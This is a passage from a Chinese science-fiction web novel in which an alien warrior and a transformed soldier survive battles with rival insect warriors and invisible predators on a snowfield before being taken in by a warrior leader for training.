他挺直身板,如同十几年前在军中发誓一般,庄严地看着母亲的眼睛,“是,儿子会尽全力成为无人区特遣部队的领袖!”
……
屠一鸿孤零零地坐在大厅里,佣人送来的点心放在一旁桌上,一口未动,她等得有些乏了,于是闭上眼睛,轻轻靠在沙发靠背上,想起那个心急如焚的,死死抓住她的女人。
她是在萧衍的口中无意听到祝吟辰这个名字的,被萧衍救助回来后,她就一直呆在他身边,那一天,萧衍在外面和同事喝得酩酊大醉,她扶着他,从他神志不清的怒骂中得知了这个让他痛恨和轻蔑的女人,还知道了祝吟辰的军衔和萧衍相同,并且首领驻地就在她心心念念的地方——战后难民驻地三号遗址。
从跟着萧衍来到上邦后,趁着萧衍忙于参选十二主席,她顺利打听到了祝吟辰的部分身份信息。
这其实不难,阿努特纳斯计划在联合城邦人尽皆知,连带着祝吟辰的名字也知名起来,在雌虫出逃,祝吟辰被判决十年监禁缓期执行后,她的名字就更加广为人知了,只不过这其中多了很多恶名,黑环黑市上也有了她的死亡悬赏令。
祝吟辰,二十八岁,十三岁那年选择辍学,加入直属于AGPC的军校,毕业后被调入联合部,负责C3区外围的无人区生命救援和探索,前年因为不明原因被调到星际特工局,现任无人区特遣部队少校,星际特工局特遣特工,完成阿努特纳斯计划后,她估计会被重新调回无人区。
屠一鸿微微皱起眉头,这个一生看似循规蹈矩的军人,似乎在来到联合城邦后,就一直在干一些出格的事情,如果是申请留下雌虫性命还好说,毕竟那是她以前的工作就是寻找和保护战后蓝星上的生命遗留,但是她现在不仅瞒着所有人软禁了雌虫,还申请加入了红派,与最高骨干奕川直接接触,在蓝红两派和外星虫族中周旋,为推翻当局出谋划策。
祝吟辰这个人,恐怕比她自己想象的更为疯狂。
在雨夜小公寓里见到祝吟辰的那天起,屠一鸿暗中打定主意,她要找到祝吟辰的把柄,让她带自己到她的驻地去。
她的母亲,屠启,就在那里。
“屠小姐。”
管家的声音突然响起,屠一鸿回过神,她抬起头,看见二楼楼梯上,萧衍扶着一个雍容华贵的夫人慢慢走下,猜到这就是萧衍的母亲,屠一鸿连忙站起来,低着头,乖巧地站在管家身旁。
洛岚看见大厅里的少女,心中明了这就是萧衍提起过的在无人区偶然救助到的少女,屠一鸿,看着这少女温驯又纯洁的模样,洛岚心中不禁生出几分好感。
无人区能够活着等到救援的人非富即贵,多是战前的大家。家庭富足而富有涵养,听从丈夫和婆婆的话语,身材和面貌都是上乘,最重要的是,她现在落魄到了尘埃里,在这里毫无势力,以至于不得不完全依附于一个男人——她的儿子。
儿子是维持她富贵生活的武器,是她精心雕琢的诱饵,这样一个柔软精致的儿媳妇,她很满意。
洛岚和萧衍走到屠一鸿面前,屠一鸿低着头,不做言语,萧衍眼神中显出责备,正要呵斥,洛岚拦住萧衍,温柔地拉住屠一鸿的手,语气慈爱而温和,“你就是屠家小姐吧?在这里觉得怎么样,还适应吗?”
屠一鸿微微抬起头,一双澄澈干净的眼睛与洛岚对视,声音如涓涓细流一般,清透又干净,“谢谢关心,我觉得这里很好。”
洛岚看着这双眼睛,越看越喜欢,或许再过一段时间,她们就是一家人了。“那就好,萧衍,你去了无人区之后,要记得时刻保护好屠小姐。”
“是,母亲。”
……
“喀拉——”
安提难以置信地看着眼前的景象,手里提着的猎物掉在地上,身体里的血液一下子冷了下来。
发生了什么?
大片树木被横七竖八地砍倒在地上,在四周零落散布着,落叶和被翻起的土壤混乱地搅合成一团,地上遍布着深刻的足迹,好像被巨大的利器深深嵌入过一般——她认得,这是大颚来过的痕迹。
隐隐约约嗅见微弱的祝吟辰留下的危险信号,安提眼神刹那锐利了几分,她一把拎出腹中储存的猎物,丢弃在地上,飞速赶往洞穴的方向。
前方有几只大颚在巡逻,似乎是在搜索她和祝吟辰在这里生活过的痕迹,安提轻点足尖,落在半空树梢上,冷冷盯着底下走来走去的大颚们。
一共五只,其中一只似乎刚负了伤。
安提触角微动,没有嗅闻到祝吟辰在这里的气息,看来是已经走了,那只大颚的伤应该就是她干的。
安提脸上情不自禁显出骄傲的神情,她的女儿伤还未好完全,身体还不舒服,连肉都还没来得及吃饱,一觉醒来,就可以单挑五个大颚,轻轻松松逃走,真是聪慧又机敏。
不过,这场混乱的追杀该结束了。
安提眼神一凛,面颊
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蓦地显出一层金色羽鳞,铠甲亮起奇异的金色纹路,仿佛血管一般蔓延到全身,她口中默诵几句,身上的金色纹路有生命力一般,开始慢慢延伸到脚下的树枝上,一直深入到地面的土壤中。
悄无声息的,金色纹路流淌过的植物根系和种子开始以惊人的速度生长。
大颚们先是感到地面有着轻微的晃动,还来不及提起警惕呼唤同伴,下一秒,漫天盖地的植被猛地窜出土壤,凭着对养分的极度渴望,无数的枝条毒蛇般蔓延过来,树木如同着魔的、张牙舞爪的蛇群一般,用地上的树枝和地下的树根抓住大颚们,死死将她们缠绕住。
不过几十秒,整个树林被绿色覆盖住,地面上积累盘聚的植被高出附近足足一尺高,大颚们在这可怕的绿色旋涡中拼命挣扎着,一边用头部的巨颚砍掉缠在身上的枝条,一边疯狂甩动毒针,抽烂延伸过来的枝条。
但植被的生长比她们想象的更绝望,根系开始攻击她们的头部,试图向她们眼睛和口中延伸进去。
安提高高地站在树梢上,冷漠地看着这群曾经的姐妹,她们曾经为了虫族相互合作,共同战斗,而今时过境迁,从她苏醒,看见身边的虫卵的那一刻,她们就已经成了死敌。
随着枝条的缠绕,大颚们身上的铠甲开始裂开,枝条急不可耐地钻入,拼命吸吮新鲜的血肉。
大颚们近乎濒死,她们的力气已经用尽,但因为这极度的痛苦,本能地发出几声嘶哑的哀嚎,身体慢慢陷入死亡的漩涡中。
安提不想再看,她正要跳下树梢离去,却察觉空气中的、奇异的触感,一阵迷茫和不安涌上心头,慢慢的,细微的麻木感覆上鼻尖,一点点漫延上来……
直到一滴血滴落下来,安提如梦初醒,挥动肘镰斩向眼前空气,空气扭曲地抽动了几下,渐渐显出一团柔软的、如同几团透明凝胶膜带裹卷起来的形态。
这东西浮游在空气中,只静止了几秒,而后又隐去身形,迅速延展开透明膜带,胃囊般将安提包裹住,安提看不清这东西的样貌,试图用蛮力劈斩开这薄膜,然而这薄膜韧性极好,又慢慢收缩,分泌出腐蚀的粘液。
安提急躁地劈砍着看不见的对手,感到身体铠甲慢慢变得酥软,心中不禁生出几分慌乱,她用力挣扎了几下,树梢倏地抖动几下,重心不稳,她一下子掉落到了地上的重重枝条蔓延中。
枝条嗅见新的血肉,急切地扑了上来,缠裹住安提的身体,她又惊又怒,狂躁起来,透过薄膜将枝条扯得稀烂,然而薄膜韧性极好,重重包裹着全身,她逐渐呼吸不上来,开始大喘气,只凭着本能勉强挣扎着。
空气一点点稀薄下去,安提眼前慢慢模糊起来,一头栽倒在枝条漩涡间,枝条们见驱使自己的主人已经濒死,再次急不可耐地爬上来,生死关头,安提神志不清地喃喃;“伊塔……”
只觉身下一股突如其来的蛮力拉扯,周身仿佛什么东西破裂开去,安提感到一大股空气猛地灌了进来,意识瞬间清醒,她坐起身,凶狠地瞪了周围的树木一眼,枝条们惊恐地瑟缩回去,她一挥臂,面上金鳞退去,身上的金色纹路也慢慢黯淡下来,渐渐的,四周的植被不动了,整个树林终于安静下来。
安提回过头,看着身下静止的枝条漩涡,里面是一个大颚,身体已经完全陷入,头部裂开成几瓣,朝天望着,巨颚上留着最后一点力气撕扯下来的一片薄膜,三双黑色的眼睛静静的,已经没了生气。
安提俯下身,轻抚大颚黑色的眼睛。
“索拉娅,谢谢……”
25.雪原之途,将要歇止
夜潮将至,大地覆上一层薄红,又蓦地抹上几片阴翳,轰隆的雷声阵阵响起,不一会儿,大雨倾盆落下。
祝吟辰熄灭火堆,摸黑钻进了洞穴中。
这里并不十分舒适,地面土壤带着一丝土腥的湿润,石壁也凝着一层寒霜,但好歹赶在夜潮前找到了食物和栖息地。
屏息凝神治疗了一会儿,腰腹和后背的伤好得差不多了,祝吟辰在洞口抹上毒液标记,闭上眼睛,静静地等待安提的到来。
一夜过去,光线穿过洞口,打在脸上,祝吟辰揉着眼睛打了个哈欠,正要起身,感到旁边似乎躺着什么东西,向身侧看去,只见安提一身水淋淋的,整个虫仰面躺在地上,湿润头发紧贴着面庞,神色疲惫,双眼紧紧闭着,看来是奔波了一夜,现在已经累坏了。
祝吟辰试探了一下安提的额头,没有发烧。
虫族的身体素质真好啊。
为了不惊扰安提的睡眠,她蹑手蹑脚地走出洞穴,深深呼吸了一口雨后的清新空气,出发去寻找干草和食物。
安提醒来的时候,已经接近下一个夜潮了,闻见食物的香气,意识一点点清醒过来,她睁开眼,恍惚看见明洞口外亮的火光、烤鱼的祝吟辰。
祝吟辰看见安提活泼泼地走出洞口,手里的烤鱼翻了个面,“你醒了,过来吃吧。”
安提一屁股坐在干草堆上,狼吞虎咽地吃起来,祝吟辰看着安提,关切道:“感觉怎么样,有没有哪里不舒服?”
“感觉很好,这点雨水不用担心,伊塔。”
祝吟辰释怀地笑了笑,“那就好。”
“有一件事,我必须要告诉你,伊塔。”安提打了个嗝,神情突然严肃起来,“我们的对手不止是整个虫群,还有伽拉瑟亚。”
“伽拉瑟亚,那是什么?”
“阿努的天敌,埃勒伽的造物,它们平时沉寂在冥土之中,寒潮到来之际,就会爬上岸来,捕杀我们。它们有时隐匿在空气中,有时又拟作水体或冰雪,用鼓胀延展的膜带将我们包裹住,要用那可怕的毒液将我们消化。”
祝吟辰似乎察觉到什么,她微微皱起眉头,问到:“听这么说,你已经与它们交过手了?”
“是的,就在之前我们居留的洞穴附近,我杀死了我的姐妹们,又因她们,从伽拉瑟亚的捕杀中侥幸脱逃。”
祝吟辰一时间不知道说什么好,她咬了几口鱼肉,心底沉下一片哀寂,沉默了许久,说道:“希望她们安息。”
安提笑起来,她拍拍祝吟辰的肩膀,“不要悲伤,伊塔,战死是大颚最崇高的归宿,为她们骄傲吧,挺起胸膛来,我们还要继续向前。”
“是。”
……
逆着寒潮袭来的方向,她们一路向北,渐渐的,所见之处已被冰雪完全覆盖,天上天下,皆是白茫茫的一片,寒风裹挟着积雪迎面扑来,她们有时踩在齐膝深的积雪里行走,有时抓住空中树梢飞跃,以惊人的速度迅速穿过片片树林。
“伊塔,等等。”安提轻盈一跃,落在树梢枝头,回头示意祝吟辰停住,手指向前方。
祝吟辰顺着安提手指的方向放眼望去,看清眼前触目惊心景象的那一刻,瞳孔猛地放大。
天光普照下的雪原,无数大颚的尸体横七竖八地倒在地上,远远望去,如同无数随心抛洒的墨点,在这片广袤无垠的白色世界中格外醒目。
祝吟辰稳了稳心神,与安提对视一眼,二虫小心翼翼跳下树梢,向前奔去。
距离越来越近,祝吟辰逐渐看清了大颚们的状况——她们的身上死死缠着凝胶状的薄膜,全身原本铜墙铁壁般的铠甲也变得柔软湿滑,看上去如同一滩粘稠的黑水。
停住脚步,祝吟辰轻轻蹲下,拂去一只大颚头上的积雪,对方一动不动的,显然已经牺牲。
祝吟辰站起身,与安提一起在这片战场里沉默地走了很久很久。
直到天色显出一点薄红来,二虫才远远地望见一些还活着的大颚,她们一瘸一拐地游走在死去的同伴间,小心翼翼地推动她们的身体,似乎是在寻找幸存者。
安提停下脚步,看着那群大颚,她眉头紧皱,似乎是在思考要不要趁着她们重伤,带着祝吟辰直接闯过去,祝吟辰抬头看了看天,对安提提醒道:“我们先找个地方住吧。”
安提看了一眼祝吟辰,面上显出一点犹豫来,良久,才缓缓向东北方向的林区走去。
这里雪原辽阔,林区的树木高大而稀疏,二虫花费了一点时间,逮住几只常在积雪里跑动的猎物,又找到一棵枝叶繁茂的树,打算就这样在树上将就着睡一夜。
祝吟辰把火生起来的时候,天幕上红色的一轮已经显出来了,安提三两下把猎物的皮毛剥去,串起来在火上烤,她一边翻转着烤肉,一边如往常的餐前小课堂一样,向祝吟辰滔滔不绝地讲述她们今天吃的是什么生物,有什么什么习性,要如何捕捉……
一夜过去,祝吟辰揉了揉眼睛,察觉身边的安提还没醒,她小心翼翼地钻出树丛,对着辽阔的雪原伸了个懒腰,因为在树上睡得不太舒服,所以这次她起得格外的早。
天光初亮,光线落下,雪地折射出耀眼的光芒,瞧见不远处的雪堆里有些动静,祝吟辰扶了下树干,正要跳下树去找些食物,耳朵却敏锐地捕捉到了空气中一丝细不可闻的声响,头上的触角微微探动。
祝吟辰皱起眉头,看向声响传来的方向——天与地交接的地平线尽头,一抹沉重的黑影缓缓移动,如同黑色的乌云,遮蔽白色的天幕,无数大颚踏着整齐的步伐,碾压过广袤无垠的雪原,列阵而来。
感到身下的大树开始微微颤动起来,祝吟辰急忙转过身,想去叫醒安提,却发现安提已经站在了她身旁,望着那群乌泱泱的大鄂,她们的速度是如此惊人,已经迅速穿过昨日的战场,正在气势磅礴地向这边赶来。
即使数次统领过无人区的围剿行动,祝吟辰也还是第一次见这样惊心动魄的景象,她看向安提,急迫地问道:“我们怎么办?”
“伊塔,不要紧张,我们就呆在这里,”安提皱着眉头,看上去也有一丝紧张,“时间来不及转移,也没有别的去处。”
“……”
祝吟辰只好也望向远方,无奈地注视着大颚们以排山倒海之势向这里迅速逼近。
不过几十秒的时间,第一只大颚已经踏进了这片林区,祝吟辰想了想,还是拉着安提躲进了树丛里,即使这里的树木足有百米高,但她总是习惯更谨慎一些。
地面迅速被大颚们占领,她们沉默地站在雪地上,严阵以待。
祝吟辰透过树丛,小心翼翼地向树底下看去,大颚们头上的触角不停探动,似乎是在寻找什么目标。
不会是找我们吧?
应该不至于这种阵仗吧……
祝吟辰压下心中的不安,沉默地注视着大颚们,静待她们的下
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一步行动。
时间一分一秒过去,冰天雪地里,寒风凛冽,裹挟着积雪阵阵刮过,大颚们身上渐积起一层薄雪,她们沉默着,以身作饵,等待敌军的降临。
空气中,有什么东西在酝酿着,风雪似乎静止了一瞬,仿佛被成团的隐形气囊堵住去处,折射的光斑随着风雪的涌动,在空气里飘摇、闪晃。
一只大颚的铠甲上突然扭动起什么东西,一滴粘液直虚空中滴落,打在大颚的眼睛上,腐蚀的剧痛瞬间贯穿神经,大颚发出一声愤怒的低吼,信号刹那连接了所有大颚,整个战场沸腾起来,空气中的敌军,伽拉瑟亚现出原形——
它们几乎占领了整个雪原,透明的身体膨胀作大颚的几倍,如巨大的气球般,重重堆积在雪原上,近乎百米高,层层薄膜将每个大颚包裹住,开始急速收缩,分泌腐蚀消化的毒液。
战争开始了。
察觉身下的树木抖动得越来越厉害,祝吟辰紧张地抱着安提,瞥见高高飞上来的伽拉瑟亚的身体碎片和风雪,忍不住探头望向树底下——大颚们用巨颚撕裂伽拉瑟亚的身体,用毒针鞭碎毒蛇般的膜带,身体也在毒液腐蚀中一寸寸软弱下去,风雪和伽拉瑟亚的碎片搅拌着飞溅得到处都是……
她小心翼翼地缩回头,不看了。
她想起人类成立联合城邦后发动的星际战争,基本上都是特工带回情报,总部锁定目标坐标,然后十二主席商量一下具体流程,总指挥点击几个按钮,大家背着手或坐在椅子上,在实验室里看着大屏上的数据忽高忽低变化一阵,要不了多久,AGPC就会传来捷报,然后大家就一齐欢呼起来,整个过程干干净净,文明又有序。
她又想起来在无人区的那段时间,她统领着几百个下属,负责管理战后难民驻地三号遗址,镇压周围虎视眈眈的帮派和黑恶势力。部分成员只要坐在操控室里,就可以击退大部分的外袭。
规模极大的时候,她会亲自上阵,一边在耳机里指挥基地内部协同作战,一边带着几个分队穿过防守堡垒,在无数子弹穿透灼热的空气中,穿过战场,将敌人迅速击毙,再俘虏处决他们的首领,是她做了无数次的工作。
但她没有把对手砍得到处都是,好像礼炮炸开无数碎纸片,在庆祝什么狂欢节日一样。
尖端而冰冷的科技在一定程度上,高高在上地掩盖了战争的真面目——用最原始的野蛮和暴力去摧毁另一个生命的存在。
祝吟辰额上冒出冷汗,身处这场赤裸裸的杀戮中,她第一次感到一种如梦初醒的震撼,前所未有的畏惧和惶恐在心底蔓延,身体竟忍不住微微战栗起来。
安提察觉祝吟辰的异状,她扭过身体,轻轻将祝吟辰的头抱在怀中,温柔地抚摸她的头发,耐心地安慰祝吟辰的惊惶。
不知道这场战争持续了多久,四周逐渐安静下来,光线暗淡下去,透着一层薄红。
祝吟辰状态逐渐稳定下来,看着安提无声关切的眼神,仿佛是为了证明自己已经完全好了,又不想让安提太担心,她站起身,向树丛外走去,想看看情况如何。
没有任何征兆,眼睛注视着树丛缝隙外的天空,手触动树丛,悬在半空中,似乎是要去推开重重包围的树枝,风好像也停住了,四周的空气凝固着,心底还残存着一丝遥远的畏惧,时间滞留的一瞬间,仿佛自重重虚空中穿越而来,一点锋芒突破所有既定的障碍,闪电般将树丛贯穿。
“伊塔!”
26.寒风凛冽,冥土之引
身体突然变得轻飘飘的,胸中的气压顷刻泻出,灌进凉丝丝的寒风,祝吟辰脑海中一阵茫然,看见眼前的景象突然倾斜、旋转,整个世界似乎加速远去、远去——
直到身体自半空中坠落下去,头颅与地面撞击的剧痛让她瞬间清醒过来,她猛地吐出一口鲜血,意识恍惚间,看见满地飞溅的血液和远处躺着的,她的下半身。
“伊塔!”
刚才的一瞬间,一道寒光闪过,她们所在的树丛贯穿,险险地擦着安提的脑袋劈过去,毛骨悚然的,安提身上顿时冒出冷汗,僵直的那一秒,竟眼睁睁地看着祝吟辰被斩作两半,掉落下去。
对方没有给她没有更多的反应时间,安提怒上心头,却见又一道寒光气势汹汹直冲面门而来,她勉强避开这一击,还来不及站稳,所处树丛却开始剧烈地摇晃起来,一股无名的巨力开始毫无章法地四处劈砍,似乎是要用这种方式将她逼出来。
无数草木碎屑雨点般打向身体,死亡的寒锋几次擦着身体过去,安提咬了咬牙,不得不被逼着跳下了树丛,只听风中几声铮的微响,半空中的身体顿时被几道铁索般的毒针牢牢捆住,又自高空狠狠抽落到地面上,整个树林顿时回荡起巨大的轰鸣,击中的地面积雪和树丛烟花般炸裂开来,雪泥和草木碎屑高高腾起,又纷纷扬扬地飘落下来,犹如下了一场肮脏的雪。
感到血液在逐渐流失,巨大的耳鸣声麻木了半边意识,祝吟辰强撑着打起精神,手肘撑起上半个身子,拼命向下半身的方向爬去,还没爬几步距离,却发现地面一阵阵地颤动,有什么东西黑压压地包围过来,一丝恐惧在心底蔓延,她抬起头,看见数个冰冷锋利的巨颚悬在自己头上,如同死亡的断头台,伽拉瑟亚死去的、残留的粘液从上面流淌下来,一群大颚冷冰冰的注视着自己,仿佛在看一个已经死去的、不存在的东西。
对死亡的恐惧如深海水底的黑暗,磅礴地压来,她感到自己在发抖,身体控制不住地战栗起来,但多年以来的经验和阅历及时接过了她的理智,即使她的身体已经绝望了,神智却很冷静地思考着——接下来应该怎么办?
前方的大颚突然分开一条路,三对沉稳粗壮的虫足一步步将雪地刺穿,踏到她的身前来,她仰着头,看见在沉入血腥颜色的夜潮下,一个空前巨大的大颚逆光的身影,如同黑色的山峦,几乎遮蔽了眼前的整个天幕,又将她的身体完全遮蔽在阴影中。
血液流失得越来越多,要黏合的下半身却似乎有一整个人生那样遥远,触不可及,她看着眼前的大颚,眼前一阵阵发黑着,意识一点点模糊下去……
就这样结束了吗?
真可惜,我还没找到妈妈呢。
祝吟辰恍惚地笑了笑。
希望她离开后,可以过上自己——
“伊塔!起来!”
熟悉的声音如一星箭矢划过无数时空交错,将黑暗那头的死亡漩涡倏地击破,祝吟辰一下子惊醒,她撑着最后的一丝力气昂起头来,隐隐约约望见远处一个黑色的身影穿过重重大颚的包围,努力地向自己奔来。
这身影如同无尽黑暗中的一点火星,生的渴望在胸中重燃,祝吟辰再次强撑起身子,向下半身的方向一点点爬去。
无论希望有多么渺茫,但只要还在,就值得去争!
那些坚持了这么久的计划,那些下定了的决心,对自己和她人许过的承诺,她一个也不要放弃!
眼见着距离一点点靠近了,听到安提那边的打斗声越来越激烈,祝吟辰的速度也加快了一些,终于,在指尖触碰到的那一刻,纯露向下半身蔓延去,新的血肉迅速生长,她精神一振,正要抓住下半身将其拼合,冷若冰霜的声音在头上响起——
“原来是这样的能力,怪不得死到临头还到处乱爬。”
下一秒,后背到胸口倏地被贯穿,血液四溅,锋芒抵着跳动的心脏,一寸寸深入下去,祝吟辰口中喷出血来,或许是希望与绝望之际的疯狂,这突如其来的剧痛反而激怒了她,不顾伤口的撕裂,她勉强转过身子,怒视着眼前踩着她的的大颚,大颚看见眼前的小虫居然有力气做这种反抗,虫足嘲讽般地抵至尽头。
然而祝吟辰并不像她想象的那样哀嚎,连一点求饶的反应也没有,只有眼神中火焰般的愤怒和仇恨,二虫搁着一颗穿在虫足上的心脏,久久地僵持着。
地面突然剧烈地摇晃起来,远方的大颚们发出阵阵急促的低吼,和祝吟辰僵持着的大颚转头看去,只见安提迅速穿过陷落在无数藤蔓的大颚,闪电般向自己杀来!
大颚不屑地冷哼一声,察觉虫足上隐隐约约有了些小动静,她低头一看,一条条毒蛇般的藤蔓自地面钻出,贪婪地向爬上她的身体。
见眼前的大颚突然陷入沉默,祝吟辰试图挣脱开胸口的虫足,她卯足力气,努力挖开身下的积雪,尝试将身体下沉脱开。
然而下一秒,大颚不耐烦地挥了一下虫足,无数藤蔓应声而断。
祝吟辰的身体僵住了。
“无聊的闹剧,该结束了。”
大颚猛地低下腰腹,借力侧身一拧,两条气势汹汹的毒针倏地轮鞭出去,在空中荡出沉重的杀意,直向安提面门扫来,安提心中一惊,急速弓下身子试图闪避,却见毒针在半空中舞过一个诡异的半月弧,瞬间纵向劈向她的头颅,容不得半点分心,安提打滚在地,极限躲过,身旁泥雪猛地鞭炸开来,溅了她一身,她吓了一跳,冷汗瞬间流遍全身,心神紧张到了极点,大喘着粗气,睁大眼睛死死盯着大颚的下一步动作。
大颚冷笑一声,突然转过身,安提眼睁睁看着大颚再次将一道毒针贯穿进祝吟辰的身体,血液喷溅出来,染红了整片雪地。
一刹那,巨大的愤怒填满了整个胸膛,理智顿时烟消云散,不顾大颚的威胁,她全力冲上去,无数的藤蔓破出雪地,与她一齐冲锋!
大颚察觉动静,头部的巨颚带着寒风扫过来,看准时机,她双掌撑住巨颚,借着巧劲翻上大颚的背部,试图指挥藤蔓刺穿大颚的眼睛,然而下一秒,只几下干净利落的挥斩,无数藤蔓哗啦啦的碎去,不顾背后的安提,大颚直接将祝吟辰甩到半空中,另一条毒针心狠手辣地劈下——
周围很安静,想象中的死亡并未袭来,祝吟辰睁开眼睛,看见安提趴在自己身上,紧紧地护着自己,她抱住安提,表示劫后余生的安慰。
疑惑在心底蔓延,她抬起头,越过安提的肩膀,看到毒针的锋芒悬在离她
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们半尺的地方,奇怪地停住了。
……怎么回事?
仿佛突然听到什么命令一般,大颚果断收回毒针,口中发出一声粗犷的鸣啸,所有大颚精神一振,都纷纷绕过祝吟辰和安提,去帮助远处还陷在藤蔓的同伴。
随着大颚们逐渐远去,周围雪地变得空旷起来,祝吟辰拍拍安提的肩膀去,轻声说道:“安提,我们没事了,起来吧。”
安提迷惑地睁开眼睛,听见耳畔一声风响,一个物体突然扔了过来,她猛地跳起来,转身准备迎敌,却看见大颚沉默地看着这边,没有半点继续攻击的意思。
……?
她转过头,看见祝吟辰拿着被扔过来的下半身,开始拼合身体。
一阵寒风刮过,三方陷入一片诡异的寂静,似乎这种时候谁动一下歪心思,这里就会重新变成你死我活的局面。
猜不透大颚的行为,安提静静地站着,等着祝吟辰愈合好,脑内思绪如风暴般凌乱。
这大颚怎么不打了?
祝吟辰站起来,看见风中凌乱的安提,又看看沉默的大颚,正要开口发问,大颚却率先发声了。
“告诉我,弱小的阿努呵,为何要叛逃虫群,千里迢迢来到此地?”
祝吟辰沉默了一会儿,回到:“这恐怕与你无关——”
“看看自己的样子吧,二位,”大颚不耐烦地打断她的话,“你们要拿什么来对抗整个虫群?难道是那种袭击空居后,得来的让几根藤条跳舞的力量吗?还是你这可笑的,趴在地上心甘情愿挨打的能力?”
祝吟辰没有说话,实际上,她很清楚她们目前的实力还远远不足以对抗整个虫群,只是怀着一丝理想的希望,觉得这是一个努力就有收获的过程,但她没有想到,这第一次考验来得这么快,这么猛烈。
“几十个夜潮升起又落下,我们流离在外,已经将你的部下打得落花流水。”安提走上前,犀利的眼神直视着大颚,“至于你,不久也会匍匐在我们脚下。”
听到安提的话,祝吟辰心中一惊,这张狂的话语反而激起她心中的自信,没错,这一路来,她们的成长非常可观。
如果不是今天就遇见大颚的话,说不定也不会输……
大颚看了安提很久很久,突兀的,她长出一声叹息,“你们的无知比我想的更严重。”
她转过身,“随我来吧,寒风中的战士需要指引。”
安提和祝吟辰互相看了看,反正没有别的路走,犹豫着跟了上去。
祝吟辰试探着发问:“你为什么不打了?”
“这恐怕与你们无关。”
“……”
大颚一边走,一边说道:“把你们那些可笑的希望和理想都丢掉吧,在抵达胜利之前,你们需要的是拥抱死亡和毁灭。”
她转过身,深沉地凝视着二虫,语气仿佛来自冥土遥远的尽头,穿过肉与灵的隔阂,直抵内心深处的寂静。
“记住,你们所向往之处,并非光明照耀之地,要用绝望作脚步,一步一步向前进。”
“记住我的名字,尼努尔塔,我在此以伊南娜阿努萨之名,暂且收容你们的身躯,接纳你们孱弱的灵魂,带你们到冥土中去。”
27.她将步履轻轻放,静心凝神探秘晓
“到了,这里是我们暂时的基地。”
尼努尔塔停住脚步,祝吟辰和安提也随之停下,好奇地观察着周围。
天光初亮,她们已经深入雪原,折射着闪耀光芒的雪地上,鼓起数个巨大的半球状冰室,许多大颚和拉姆进进出出,往里面的地底隧道运输伤员和食物储备。
她们经过这里,瞥见祝吟辰和安提居然活着站在这里时,都纷纷露出惊讶的眼光,然后继续干自己的事,一派井然有序的景象。
几个巡逻的大颚走过来,其中一个带队的扫了一眼安提和祝吟辰,对尼努尔塔说道:“一切正常,请求轮换下一班巡逻。”
“去吧。”
“是。”
尼努尔塔踏了踏虫足,示意祝吟辰和安提跟上,随后带着她们进入了其中一个冰室。
一路上,不断有大颚和拉姆对尼努尔塔作报告,尼努尔塔总是用几句话就作了果断有效的回应,安提和祝吟辰互相看了看,心有灵犀地牵着彼此的手,沉默而谨慎地打量着四周。
冰室地底的空间格外庞大,数个通道连接交错,通向不同的分工区域。
她们经过上层的伤员处理区域,看见洞穴内有许多小虫在大颚们身上飞来飞去,形态类似祝吟辰幼年的样子,一个金属小球上长着一对黑豆小眼,后面插一对上下翻飞的透明小翅膀,不同的是,她们的头部长着一对锋利的小颚,身体也散发着淡淡的荧光。
祝吟辰注意到,这些小虫飞到大颚们的伤口上后,一边将咀嚼后的菌落吐到上面,一边用锋利的小颚缝合伤口。
她们就是阿努的医疗部门吗?唾液消毒,小颚缝合,真是厉害的外科医生,祝吟辰心底暗暗想道。
走下更深的地底,光线顿时暗淡了许多,四周的洞穴内散发流动着五彩斑斓的奇异色彩,安提和祝吟辰往里看去,是拉姆们运输到这里的菌落和其他食物。
想起在菌群的时光,祝吟辰脚步不禁加快了些。
“咕——”
安提的肚子叫了起来。
尼努尔塔头也不回地继续走着,“一会儿会有食物给你们送来,吃了后睡个好觉,下个夜潮,你们有正事要做。”
祝吟辰知道安提不肯低头,于是率先道谢:“谢谢你。”
“向对手道谢前,先反思自己的无能吧。”
“……”
整个虫群就没有一个好相处的阿努吗?
走到最底层,通道里一片黑暗,寂静之中传来微弱的呼吸声,尼努尔塔低声说道:“这里是我们睡觉的地方,自己找个房间居留吧。”说罢,她径直离开,走入黑暗最深处去了。
“看来她也困的很。”安提打了个哈欠,拉着祝吟辰进入旁边的一扇门。
等了不久,一个拉姆给她们送了一大盘菌落,二虫狼吞虎咽吃尽,而后沉沉睡去。
这一觉整整睡了三个夜潮。
安提是被踢醒的,她昏昏沉沉地睁开眼睛,看见尼努尔塔高高在上地藐视着自己,眼神中尽是不耐烦,她心中一惊,猛地跳起来,下意识做出防备的状态,脚边突然碰到什么软软的东西,她低头看去,祝吟辰还在身旁熟睡。
“她伤势严重,睡得多点无妨。”尼努特尔塔说道:“但你就不行了,除非你想让我直接送你去冥土,否则就赶紧爬起来,以后自己走过去。”
一种死亡威胁的凝重气息弥漫在空气中,安提愣了愣,而后振作精神,“我自己走过去!”
“很好,跟上。”
尼努尔塔带着安提上了二层,等安提在拉姆们欲言又止的目光中吃饱喝足后,带着她离开基地。
就这样,二虫保持着一种微妙的沉默,一路向北。
安提一开始还活蹦乱跳的,慢慢的就困顿下来,虫族的冬眠本能阵阵袭来,她的脚步也变得越来越沉重。
“啪——!”
巨大的声响擦着耳畔响起,是毒针自高空狠狠鞭落的声音,脚边的雪地被击中,向四周炸裂开来,无数雪泥溅了安提一身,她猛然惊醒,吓出一身冷汗,转头看见尼努尔塔阴沉之中夹杂着一丝鄙夷的目光,下意识尴尬地原地跺了跺脚,闷不吭声。
尼努尔塔冷冰冰地看了安提一阵,而后移开视线,说道:“就在这里吧。”
安提抬头放眼望去,这里已经被大雪完全覆盖,血色天光照映下,广袤银白上流动着一片半透明的绯色,直铺向天与地的尽头,远远地,在沉重的深红天幕下模糊出混沌晦涩的一线。
她看够了,转过头问道:“带我到此地,要我做什么?”
尼努尔塔深沉地望向天幕上的一轮血红,不慌不忙地说道:“无知粗莽的阿努呵,你有着极好的天赋,优秀的爆发力和磅礴的野心,但你那强悍的灵魂背后,是短促贫瘠的生命,宛若一线流星,一刹那的光芒璀璨后,是漫长的、凄苦的遗憾。”
她转过头,注视着安提的眼睛,神情变得严肃起来:“听好,我要你选中这雪地里的一粒种子,控制它的生长,穿透融合它的意志,作你所希望的共鸣。”
“如果说我想杀了你呢?”安提眼神顷刻变得凌厉,面上覆上金鳞,冷冷地盯着尼努尔塔。
“呵,”尼努尔塔冷笑一声,转过身来,“接受你的教训吧。”
下一秒,一棵足有尼努尔塔腰腹粗的参天巨藤猛地窜出雪地,闪电般向尼努尔塔冲去,尼努尔塔心中闪过一丝惊讶,安提的成长比她想的更迅速,睡了三天就有此进步。
不过,还差得远。
